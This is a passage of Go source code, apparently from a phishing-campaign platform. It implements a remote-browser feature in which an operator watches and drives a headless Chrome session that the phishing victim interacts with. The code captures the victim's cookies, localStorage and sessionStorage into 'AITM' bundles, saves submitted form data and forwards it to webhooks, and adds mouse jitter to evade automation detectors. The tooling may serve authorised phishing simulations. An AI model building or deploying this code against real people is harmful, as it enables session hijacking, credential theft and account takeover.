bytes.Equal(f.data, lastData) { continue } lastData = f.data select { case frameCh <- f: default: select { case <-frameCh: default: } select { case frameCh <- f: default: } } } } }() if info, err := page.Info(); err == nil && info.URL != "" { tabsMu.Lock() if e, ok := tabs[page.TargetID]; ok { e.url = info.URL } tabsMu.Unlock() if payload, err := json.Marshal(map[string]string{"type": "url", "value": info.URL}); err == nil { conn.WriteMessage(websocket.TextMessage, payload) //nolint:errcheck } } // Write loop hasn't started yet so it's safe to write directly here. { type tabMsg struct { TargetID string `json:"targetID"` URL string `json:"url"` Active bool `json:"active"` } tabsMu.Lock() list := make([]tabMsg, 0, len(tabs)) for tid, e := range tabs { list = append(list, tabMsg{TargetID: string(tid), URL: e.url, Active: tid == page.TargetID}) } tabsMu.Unlock() if payload, err := json.Marshal(map[string]any{"type": "tabs", "tabs": list}); err == nil { conn.WriteMessage(websocket.TextMessage, payload) //nolint:errcheck } } go func() { defer func() { recover() }() //nolint:errcheck watchBrowser := page.Browser().Context(streamCtx) wait := watchBrowser.EachEvent( func(e *proto.TargetTargetCreated) bool { info := e.TargetInfo if info == nil || info.Type != proto.TargetTargetInfoTypePage { return false } // Only track tabs whose opener is already in our tab map. if info.OpenerID == "" { return false } tabsMu.Lock() _, openerKnown := tabs[proto.TargetTargetID(info.OpenerID)] tabsMu.Unlock() if !openerKnown { return false } newPage, err := page.Browser().PageFromTarget(info.TargetID) if err != nil { return false } tabsMu.Lock() tabs[info.TargetID] = &tabEntry{page: newPage, url: info.URL} tabsMu.Unlock() select { case switchCh <- newPage: default: } return false }, func(e *proto.TargetTargetDestroyed) bool { tabsMu.Lock() delete(tabs, e.TargetID) var fallback *rod.Page for _, entry := range tabs { fallback = entry.page break } tabsMu.Unlock() if ap := getActivePage(); ap != nil && ap.TargetID == e.TargetID && fallback != nil { select { case switchCh <- fallback: default: } } go sendTabList() return false }, func(e *proto.TargetTargetInfoChanged) bool { info := e.TargetInfo if info == nil || info.Type != proto.TargetTargetInfoTypePage { return false } tabsMu.Lock() if entry, ok := tabs[info.TargetID]; ok { entry.url = info.URL } tabsMu.Unlock() go sendTabList() return false }, ) wait() }() // switch_tab and close_tab are accepted in both view and control mode. // Mouse/keyboard dispatch only runs in control mode. go func() { for { _, msg, err := conn.ReadMessage() if err != nil { return } var header struct { Type string `json:"type"` TargetID string `json:"targetID"` X1 float64 `json:"x1"` Y1 float64 `json:"y1"` X2 float64 `json:"x2"` Y2 float64 `json:"y2"` Width float64 `json:"width"` Height float64 `json:"height"` ScreenWidth float64 `json:"screenWidth"` ScreenHeight float64 `json:"screenHeight"` Dpr float64 `json:"dpr"` } if json.Unmarshal(msg, &header) != nil { continue } switch header.Type { case "viewport": // Editor test runs only: size the target to the admin's own resolution // so remote control is pixel-accurate instead of the headless 800x600 // default. Gated on isTest so a live recipient's viewport is never // touched here — the victim owns the shared target's size, and resizing // it under an operator would change what the recipient sees. if controlMode && sess.isTest && header.Width > 0 && header.Height > 0 { if p := getActivePage(); p != nil { // DeviceScaleFactor pinned to 1: a value != 1 makes Chrome scale // mouse movementX/movementY, breaking the movementX == clientX // delta relationship for CDP events (a CDP mouse leak). sw := int(header.ScreenWidth) if sw < int(header.Width) { sw = int(header.Width) } sh := int(header.ScreenHeight) if sh < int(header.Height) { sh = int(header.Height) } proto.EmulationSetDeviceMetricsOverride{ Width: int(header.Width), Height: int(header.Height), DeviceScaleFactor: 1, ScreenWidth: &sw, ScreenHeight: &sh, }.Call(p) //nolint:errcheck } } case "switch_tab": tabsMu.Lock() entry, ok := tabs[proto.TargetTargetID(header.TargetID)] tabsMu.Unlock() if ok { select { case switchCh <- entry.page: default: } } case "close_tab": tabsMu.Lock() entry, ok := tabs[proto.TargetTargetID(header.TargetID)] tabsMu.Unlock() if ok { // TargetTargetDestroyed fires next; the EachEvent handler above // removes the entry and switches to a fallback tab if needed. proto.TargetCloseTarget{TargetID: proto.TargetTargetID(header.TargetID)}.Call(entry.page.Browser()) //nolint:errcheck } case "select_range": if controlMode { x1, y1, x2, y2 := header.X1, header.Y1, header.X2, header.Y2 go func() { p := getActivePage() if p == nil { return } // Use caretRangeFromPoint to locate the exact text // positions at the drag start and end, then build a // Range and hand it to the Selection API. This is // far more reliable than synthesised mousemove events // for triggering Chrome's text selection engine. js := fmt.Sprintf(`(function(){ var r1=document.caretRangeFromPoint(%f,%f); var r2=document.caretRangeFromPoint(%f,%f); if(!r1||!r2)return; var range=document.createRange(); try{ if(r1.compareBoundaryPoints(Range.START_TO_START,r2)<=0){ range.setStart(r1.startContainer,r1.startOffset); range.setEnd(r2.startContainer,r2.startOffset); }else{ range.setStart(r2.startContainer,r2.startOffset); range.setEnd(r1.startContainer,r1.startOffset); } var sel=window.getSelection(); sel.removeAllRanges(); sel.addRange(range); }catch(e){} })()`, x1, y1, x2, y2) p.Eval("() => " + js) //nolint:errcheck }() } case "get_selection": if controlMode { go func() { p := getActivePage() if p == nil { return } res, err := p.Eval(`() => window.getSelection().toString()`) if err != nil || res == nil { return } payload, marshalErr := json.Marshal(map[string]string{ "type": "selection_text", "text": res.Value.Str(), }) if marshalErr != nil { return } select { case notifyCh <- payload: default: } }() } default: if controlMode { m.dispatchInput(getActivePage(), msg) } } } }() // lastFrameW/H track the last CSS viewport dimensions sent to the client so the // frame_meta control message is only emitted when they change. -1 forces an // initial send on the first frame. lastFrameW, lastFrameH := float64(-1), float64(-1) for { select { case <-page.GetContext().Done(): conn.WriteMessage(websocket.TextMessage, []byte(`{"type":"closed"}`)) //nolint:errcheck return case <-g.Request.Context().Done(): return case newPage := <-switchCh: startOnPage(newPage) // p.Info() is a CDP round-trip; run it off the write loop. go func(p *rod.Page) { if info, err := p.Info(); err == nil && info.URL != "" { tabsMu.Lock() if e, ok := tabs[p.TargetID]; ok { e.url = info.URL } tabsMu.Unlock() if payload, err := json.Marshal(map[string]string{"type": "url", "value": info.URL}); err == nil { select { case notifyCh <- payload: default: } } } sendTabList() }(newPage) case payload := <-notifyCh: if err := conn.WriteMessage(websocket.TextMessage, payload); err != nil { return } case u := <-urlCh: payload, err := json.Marshal(map[string]string{"type": "url", "value": u}) if err != nil { continue } if err := conn.WriteMessage(websocket.TextMessage, payload); err != nil { return } case frame, ok := <-frameCh: if !ok { return } frameW, frameH := frame.devW, frame.devH // The CSS viewport dimensions (used client side for input coordinate // mapping) change rarely, so send them as a small control message only on // change instead of wrapping every frame. The JPEG itself goes as a raw // binary message with no base64 or JSON overhead. if frameW != lastFrameW || frameH != lastFrameH { lastFrameW, lastFrameH = frameW, frameH if payload, err := json.Marshal(map[string]any{ "type": "frame_meta", "width": frameW, "height": frameH, }); err == nil { if err := conn.WriteMessage(websocket.TextMessage, payload); err != nil { return } } } if err := conn.WriteMessage(websocket.BinaryMessage, frame.data); err != nil { return } } } } // dispatchInput routes a JSON input message from the admin WS into the browser via rod proto. func (m *RemoteBrowserController) dispatchInput(page *rod.Page, msg []byte) { var cmd struct { Type string `json:"type"` X float64 `json:"x"` Y float64 `json:"y"` Button string `json:"button"` Buttons int64 `json:"buttons"` // bitmask of held buttons (left=1, right=2, middle=4) DeltaX float64 `json:"deltaX"` DeltaY float64 `json:"deltaY"` Key string `json:"key"` Code string `json:"code"` KeyCode int64 `json:"keyCode"` Modifiers int64 `json:"modifiers"` CharText string `json:"charText"` // non-empty when keydown should also fire a char event Text string `json:"text"` // paste payload URL string `json:"url"` // navigate target } if json.Unmarshal(msg, &cmd) != nil { return } btn := proto.InputMouseButtonLeft if cmd.Button == "right" { btn = proto.InputMouseButtonRight } mods := int(cmd.Modifiers) zeroButtons := 0 nowTs := func() proto.TimeSinceEpoch { return proto.TimeSinceEpoch(float64(time.Now().UnixNano()) / 1e9) } switch cmd.Type { case "mousemove": // Add ±1 px integer noise then round: keeps movementX == clientX-prevClientX // consistent (subpixel CDP coordinates create a float/int mismatch detectors // check), while still adding the ±1 px variation that breaks exact-integer paths. jx := math.Round(cmd.X + (rand.Float64()*2-1)*0.5) jy := math.Round(cmd.Y + (rand.Float64()*2-1)*0.5) // Forward the browser's e.buttons bitmask so CDP sees held buttons during a drag. // When the frontend does not send buttons (older messages), cmd.Buttons == 0 which // is the correct "no button held" value for a plain mousemove. heldButtons := int(cmd.Buttons) // During a drag the CDP `button` field must name the held button so // Chrome's text-selection engine recognises it as a drag-select, not a // plain hover. Bit 1 = left, bit 2 = right. moveButton := proto.InputMouseButtonNone if heldButtons&1 != 0 { moveButton = proto.InputMouseButtonLeft } else if heldButtons&2 != 0 { moveButton = proto.InputMouseButtonRight } proto.InputDispatchMouseEvent{ Type: proto.InputDispatchMouseEventTypeMouseMoved, X: jx, Y: jy, Modifiers: mods, Timestamp: nowTs(), Button: moveButton, Buttons: &heldButtons, PointerType: proto.InputDispatchMouseEventPointerTypeMouse, }.Call(page) //nolint:errcheck case "mousedown": // Buttons bitmask must match the button being pressed: left=1, right=2. downButtons := 1 if cmd.Button == "right" { downButtons = 2 } proto.InputDispatchMouseEvent{ Type: proto.InputDispatchMouseEventTypeMousePressed, X: cmd.X, Y: cmd.Y, Modifiers: mods, Timestamp: nowTs(), Button: btn, Buttons: &downButtons, ClickCount: 1, PointerType: proto.InputDispatchMouseEventPointerTypeMouse, }.Call(page) //nolint:errcheck case "mouseup": proto.InputDispatchMouseEvent{ Type: proto.InputDispatchMouseEventTypeMouseReleased, X: cmd.X, Y: cmd.Y, Modifiers: mods, Timestamp: nowTs(), Button: btn, Buttons: &zeroButtons, ClickCount: 1, PointerType: proto.InputDispatchMouseEventPointerTypeMouse, }.Call(page) //nolint:errcheck case "scroll": proto.InputDispatchMouseEvent{ Type: proto.InputDispatchMouseEventTypeMouseWheel, X: cmd.X, Y: cmd.Y, DeltaX: cmd.DeltaX, DeltaY: cmd.DeltaY, Modifiers: mods, Timestamp: nowTs(), PointerType: proto.InputDispatchMouseEventPointerTypeMouse, }.Call(page) //nolint:errcheck case "keydown": proto.InputDispatchKeyEvent{ Type: proto.InputDispatchKeyEventTypeKeyDown, Key: cmd.Key, Code: cmd.Code, WindowsVirtualKeyCode: int(cmd.KeyCode), NativeVirtualKeyCode: int(cmd.KeyCode), Modifiers: mods, }.Call(page) //nolint:errcheck if ct := cmd.CharText; ct != "" { proto.InputDispatchKeyEvent{ Type: proto.InputDispatchKeyEventTypeChar, Key: ct, Text: ct, UnmodifiedText: ct, Modifiers: mods, }.Call(page) //nolint:errcheck } case "keyup": proto.InputDispatchKeyEvent{ Type: proto.InputDispatchKeyEventTypeKeyUp, Key: cmd.Key, Code: cmd.Code, WindowsVirtualKeyCode: int(cmd.KeyCode), NativeVirtualKeyCode: int(cmd.KeyCode), Modifiers: mods, }.Call(page) //nolint:errcheck case "paste": page.InsertText(cmd.Text) //nolint:errcheck case "navigate": if cmd.URL != "" { page.Navigate(cmd.URL) //nolint:errcheck } case "back": page.NavigateBack() //nolint:errcheck case "forward": page.NavigateForward() //nolint:errcheck } } // saveCaptureEvent converts a remote browser capture payload to the same bundle // format used by AITM captures and saves it as a CampaignEvent so it appears in // the campaign timeline and can be exported to session replay tools. func (m *RemoteBrowserController) saveCaptureEvent( ctx context.Context, req *http.Request, campaignID *uuid.UUID, recipientID *uuid.UUID, captureValue interface{}, clientIP string, userAgent string, ) { // JSON round-trip so we have a consistent map[string]interface{} regardless of // whether the value was a Go struct (network.Cookie) or already a map. raw, err := json.Marshal(captureValue) if err != nil { return } var capture map[string]interface{} if json.Unmarshal(raw, &capture) != nil { return } // Build cookies map keyed by cookie name - matches the AITM cookie bundle format. cookiesMap := map[string]interface{}{} if arr, ok := capture["cookies"].([]interface{}); ok { for _, c := range arr { if cm, ok := c.(map[string]interface{}); ok { name, _ := cm["name"].(string) if name == "" { continue } entry := map[string]string{ "name": name, "value": stringField(cm, "value"), "domain": stringField(cm, "domain"), "path": stringField(cm, "path"), "capture_time": time.Now().Format(time.RFC3339), } if b, _ := cm["secure"].(bool); b { entry["secure"] = "true" } if b, _ := cm["httpOnly"].(bool); b { entry["httpOnly"] = "true" } if ss, _ := cm["sameSite"].(string); ss != "" { entry["sameSite"] = ss } // CDP returns expires as a float64 Unix timestamp; -1 means session cookie. if exp, _ := cm["expires"].(float64); exp > 0 { entry["expires"] = time.Unix(int64(exp), 0).UTC().Format(time.RFC3339) } cookiesMap[name] = entry } } } bundle := map[string]interface{}{ "capture_type": "cookie", "source": "remote_browser", "cookie_count": len(cookiesMap), "bundle_time": time.Now().Format(time.RFC3339), "session_complete": true, "cookies": cookiesMap, } // include localStorage / sessionStorage if present if ls, ok := capture["localStorage"]; ok && ls != nil { bundle["localStorage"] = ls } if ss, ok := capture["sessionStorage"]; ok && ss != nil { bundle["sessionStorage"] = ss } bundleJSON, err := json.Marshal(bundle) if err != nil { return } // Extract browser metadata (JA4, platform, accept-language) from the victim's // WS upgrade request, gated on the campaign's SaveBrowserMetadata flag. var metadata *vo.OptionalString1MB if m.CampaignService != nil { if campaign, err := m.CampaignRepository.GetByID(ctx, campaignID, &repository.CampaignOption{}); err == nil { metadata = model.ExtractCampaignEventMetadataFromHTTPRequest(req, campaign) } } if metadata == nil { metadata = vo.NewEmptyOptionalString1MB() } submitDataEventID := cache.EventIDByName[data.EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA] eventID := uuid.New() event := &model.CampaignEvent{ ID: &eventID, CampaignID: campaignID, RecipientID: recipientID, EventID: submitDataEventID, Metadata: metadata, IP: vo.NewOptionalString64Must(clientIP), UserAgent: vo.NewOptionalString255Must(userAgent), } eventData, dataErr := vo.NewOptionalString1MB(string(bundleJSON)) if dataErr != nil { m.Logger.Warnw("remote browser capture too large to save, truncating is not safe - skipping", "campaign_id", campaignID, "error", dataErr) return } event.Data = eventData if err := m.CampaignRepository.SaveEvent(ctx, event); err != nil { return } if m.CampaignService != nil { m.CampaignService.HandleWebhooks(ctx, campaignID, recipientID, data.EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA, bundle) //nolint:errcheck } } func (m *RemoteBrowserController) saveInfoEvent( ctx context.Context, campaignID *uuid.UUID, recipientID *uuid.UUID, message string, clientIP string, userAgent string, ) { infoEventID := cache.EventIDByName[data.EVENT_CAMPAIGN_RECIPIENT_INFO] if infoEventID == nil { return } payload := map[string]string{ "source": "remote_browser", "message": message, } raw, err := json.Marshal(payload) if err != nil { return } eventData, dataErr := vo.NewOptionalString1MB(string(raw)) if dataErr != nil { return } eventID := uuid.New() event := &model.CampaignEvent{ ID: &eventID, CampaignID: campaignID, RecipientID: recipientID, EventID: infoEventID, Data: eventData, IP: vo.NewOptionalString64Must(clientIP), UserAgent: vo.NewOptionalString255Must(userAgent), } m.CampaignRepository.SaveEvent(ctx, event) //nolint:errcheck } // saveSubmitEvent saves arbitrary script-submitted data as a submitted_data campaign event. // Unlike saveCaptureEvent (which expects a cookie/storage bundle), this accepts any // JSON-serializable value passed to submitData() in the script. func (m *RemoteBrowserController) saveSubmitEvent( ctx context.Context, req *http.Request, campaignID *uuid.UUID, recipientID *uuid.UUID, submitValue interface{}, clientIP string, userAgent string, ) { submitDataEventID := cache.EventIDByName[data.EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA] if submitDataEventID == nil { return } bundle := map[string]interface{}{ "capture_type": "form_data", "source": "remote_browser", "data": submitValue, } bundleJSON, err := json.Marshal(bundle) if err != nil { return } var metadata *vo.OptionalString1MB if m.CampaignService != nil { if campaign, err := m.CampaignRepository.GetByID(ctx, campaignID, &repository.CampaignOption{}); err == nil { metadata = model.ExtractCampaignEventMetadataFromHTTPRequest(req, campaign) } } if metadata == nil { metadata = vo.NewEmptyOptionalString1MB() } eventData, dataErr := vo.NewOptionalString1MB(string(bundleJSON)) if dataErr != nil { m.Logger.Warnw("remote browser submitData payload too large to save", "campaign_id", campaignID, "error", dataErr) return } eventID := uuid.New() event := &model.CampaignEvent{ ID: &eventID, CampaignID: campaignID, RecipientID: recipientID, EventID: submitDataEventID, Data: eventData, Metadata: metadata, IP: vo.NewOptionalString64Must(clientIP), UserAgent: vo.NewOptionalString255Must(userAgent), } if err := m.CampaignRepository.SaveEvent(ctx, event); err != nil { return } if m.CampaignService != nil { m.CampaignService.HandleWebhooks(ctx, campaignID, recipientID, data.EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA, bundle) //nolint:errcheck } } // cropImagePNG crops src to the given region and returns lossless PNG bytes. Used to // crop the streamed element out of an operator screencast frame so the victim only // ever receives the element, never the full page. PNG avoids a second lossy pass on // top of the operator frame's JPEG, so colors don't wash out during operator viewing. func cropImagePNG(src image.Image, x, y, w, h int) ([]byte, error) { b := src.Bounds() if x < b.Min.X { x = b.Min.X } if y < b.Min.Y { y = b.Min.Y } if x+w > b.Max.X { w = b.Max.X - x } if y+h > b.Max.Y { h = b.Max.Y - y } if w <= 0 || h <= 0 { return nil, fmt.Errorf("crop region out of bounds") } dst := image.NewRGBA(image.Rect(0, 0, w, h)) draw.Draw(dst, dst.Bounds(), src, image.Pt(x, y), draw.Src) var buf bytes.Buffer // BestSpeed keeps per-frame encode cheap; this path only runs while an operator // is viewing, so latency matters more than a few extra bytes. enc := png.Encoder{CompressionLevel: png.BestSpeed} if err := enc.Encode(&buf, dst); err != nil { return nil, err } return buf.Bytes(), nil } // buildStreamFrameMsg frames a cropped element JPEG for the victim WebSocket as a // single binary message: [type=1][uint16 name length][name][jpeg bytes]. Sending the // JPEG raw avoids the base64 inflation and per-frame JSON wrapping of a text message. func buildStreamFrameMsg(name string, jpegData []byte) []byte { nameBytes := []byte(name) buf := make([]byte, 3+len(nameBytes)+len(jpegData)) buf[0] = 1 binary.BigEndian.PutUint16(buf[1:3], uint16(len(nameBytes))) copy(buf[3:], nameBytes) copy(buf[3+len(nameBytes):], jpegData) return buf } // runNamedStream queries the element CSS bounding rect, then streams cropped frames to // the victim WebSocket until streamCtx is cancelled or the connection closes. // // The crop rect is computed in JPEG pixels by scaling the CSS rect by the ratio of // (JPEG frame dimensions / CSS viewport dimensions) taken from the first frame's metadata. // This corrects for HiDPI displays and screencast downscaling where JPEG pixels ≠ CSS pixels. func (m *RemoteBrowserController) runNamedStream( streamCtx context.Context, page *rod.Page, sess *activeSession, connMu *sync.Mutex, conn *websocket.Conn, selector string, name string, si *streamInfo, ) { sendLog := func(msg string) { payload, _ := json.Marshal(map[string]interface{}{"type": "log", "message": msg}) connMu.Lock() conn.WriteMessage(websocket.TextMessage, payload) //nolint:errcheck connMu.Unlock() } // Get element CSS bounding rect (values are in CSS pixels, scale-invariant via viewport). res, err := page.Eval(fmt.Sprintf(`() => (function(){var el=document.querySelector(%q);if(!el)return null;var r=el.getBoundingClientRect();return JSON.stringify({x:r.left,y:r.top,w:r.width,h:r.height})})()`, selector)) if err != nil || res.Value.Str() == "" || res.Value.Str() == "null" { sendLog(fmt.Sprintf("[stream:%s] element not found: %s", name, selector)) return } var cssRect struct{ X, Y, W, H float64 } if err := json.Unmarshal([]byte(res.Value.Str()), &cssRect); err != nil || cssRect.W <= 0 || cssRect.H <= 0 { sendLog(fmt.Sprintf("[stream:%s] element has zero dimensions: %s", name, selector)) return } si.setOrigin(cssRect.X, cssRect.Y) // displayW/displayH: the element's CSS-pixel size (the victim canvas layout size). // imageW/imageH: the cropped frame's pixel size, 0 until the first frame arrives. displayW := int(cssRect.W + 0.5) displayH := int(cssRect.H + 0.5) imageW, imageH := 0, 0 streamPage := page.Context(streamCtx) // Subscribe to the session's shared screencast for this page. Victim frames are // always cropped from this one screencast, so the stream is identical whether or not // an operator is also viewing — no operator-presence leak. releaseSC stops the // screencast once this and every other consumer of the target has gone. getFrame, releaseSC := sess.scAcquire(page) defer releaseSC() // fps caps how often we crop and send. Unbounded (0) would spin the loop, so default // to a smooth but cheap rate for a single element. fps := si.maxFps if fps <= 0 { fps = 30 } // sendStreamStart tells the victim page the current image and CSS dimensions so it // can size its canvas. Sent on the first frame and whenever the dimensions change. sendStreamStart := func() { startPayload, _ := json.Marshal(map[string]interface{}{ "type": "stream_start", "name": name, "width": imageW, "height": imageH, "cssWidth": displayW, "cssHeight": displayH, }) connMu.Lock() conn.WriteMessage(websocket.TextMessage, startPayload) //nolint:errcheck connMu.Unlock() } // requeryRect re-reads the element rect, updating the crop origin. Element moves and // resizes are followed automatically; a size change re-sends stream_start below. requeryRect := func() { res, err := streamPage.Eval(fmt.Sprintf(`() => (function(){var el=document.querySelector(%q);if(!el)return null;var r=el.getBoundingClientRect();return JSON.stringify({x:r.left,y:r.top,w:r.width,h:r.height})})()`, selector)) if err != nil || res.Value.Str() == "" || res.Value.Str() == "null" { return } var r struct{ X, Y, W, H float64 } if err := json.Unmarshal([]byte(res.Value.Str()), &r); err != nil || r.W <= 0 || r.H <= 0 { return } cssRect = struct{ X, Y, W, H float64 }{r.X, r.Y, r.W, r.H} si.setOrigin(cssRect.X, cssRect.Y) } // captureElement crops the current element out of the latest shared screencast frame // and returns lossless PNG, its pixel dimensions, and the visible CSS dimensions. // Cropping server side means the victim only ever receives the element, never the // full page. captureElement := func() ([]byte, int, int, int, int, bool) { f := getFrame() if f == nil || len(f.data) == 0 { return nil, 0, 0, 0, 0, false } src, decErr := jpeg.Decode(bytes.NewReader(f.data)) if decErr != nil { return nil, 0, 0, 0, 0, false } jw, jh := src.Bounds().Dx(), src.Bounds().Dy() devW, devH := f.devW, f.devH if devW <= 0 { devW = float64(jw) } if devH <= 0 { devH = float64(jh) } sx, sy := float64(jw)/devW, float64(jh)/devH // Only the visible viewport is captured, so clamp the streamed region to the // element's visible intersection with the viewport. Without this, streaming an // element taller/wider than the viewport (e.g. ) sizes the canvas to the // element's full scroll size while the bitmap only holds the visible part, which // stretches and blurs it. vx/vy/vw/vh are the visible region in CSS pixels. vx := math.Max(cssRect.X, 0) vy := math.Max(cssRect.Y, 0) vw := math.Min(cssRect.X+cssRect.W, devW) - vx vh := math.Min(cssRect.Y+cssRect.H, devH) - vy if vw <= 0 || vh <= 0 { return nil, 0, 0, 0, 0, false } si.setOrigin(vx, vy) si.setScale(sx, sy) cw := int(vw*sx + 0.5) ch := int(vh*sy + 0.5) cropped, cropErr := cropImagePNG(src, int(vx*sx), int(vy*sy), cw, ch) if cropErr != nil { return nil, 0, 0, 0, 0, false } return cropped, cw, ch, int(vw + 0.5), int(vh + 0.5), true } // Adaptive polling: capture at fastInterval while the element is changing and back // off to idleInterval once it has been static for a short streak. Interactive // elements stay smooth while a static one barely costs anything; the rate snaps // back to fast the instant a frame differs. fastInterval := time.Second / time.Duration(fps) idleInterval := 200 * time.Millisecond if idleInterval < fastInterval { idleInterval = fastInterval } const backoffAfter = 10 // consecutive unchanged frames before slowing down ticker := time.NewTicker(fastInterval) defer ticker.Stop() atFastRate := true unchanged := 0 var lastRectCheck time.Time var lastFrame []byte // last JPEG sent, to skip resending unchanged frames for { select { case <-streamCtx.Done(): stopPayload, _ := json.Marshal(map[string]string{"type": "stream_stop", "name": name}) connMu.Lock() conn.WriteMessage(websocket.TextMessage, stopPayload) //nolint:errcheck connMu.Unlock() return case <-ticker.C: // Periodically re-check the element rect for moves or resizes (CSS // transitions, responsive reflow, popups). if time.Since(lastRectCheck) >= 250*time.Millisecond { lastRectCheck = time.Now() requeryRect() } if cssRect.W <= 0 || cssRect.H <= 0 { continue } data, iw, ih, dw, dh, ok := captureElement() if !ok { continue } // Notify the victim when the image or visible CSS dimensions change (element // resize, scroll bringing more/less of it into view, viewport change). if iw != imageW || ih != imageH || dw != displayW || dh != displayH { imageW, imageH = iw, ih displayW, displayH = dw, dh sendStreamStart() } // Skip the send when the frame is byte-for-byte unchanged (JPEG of identical // pixels is deterministic) and slow the capture rate after a static streak; // resume fast capture the instant a frame differs. if bytes.Equal(data, lastFrame) { unchanged++ if unchanged == backoffAfter && atFastRate { atFastRate = false ticker.Reset(idleInterval) } continue } unchanged = 0 if !atFastRate { atFastRate = true ticker.Reset(fastInterval) } lastFrame = data connMu.Lock() writeErr := conn.WriteMessage(websocket.BinaryMessage, buildStreamFrameMsg(name, data)) connMu.Unlock() if writeErr != nil { return } } } } func stringField(m map[string]interface{}, key string) string { v, _ := m[key].(string) return v }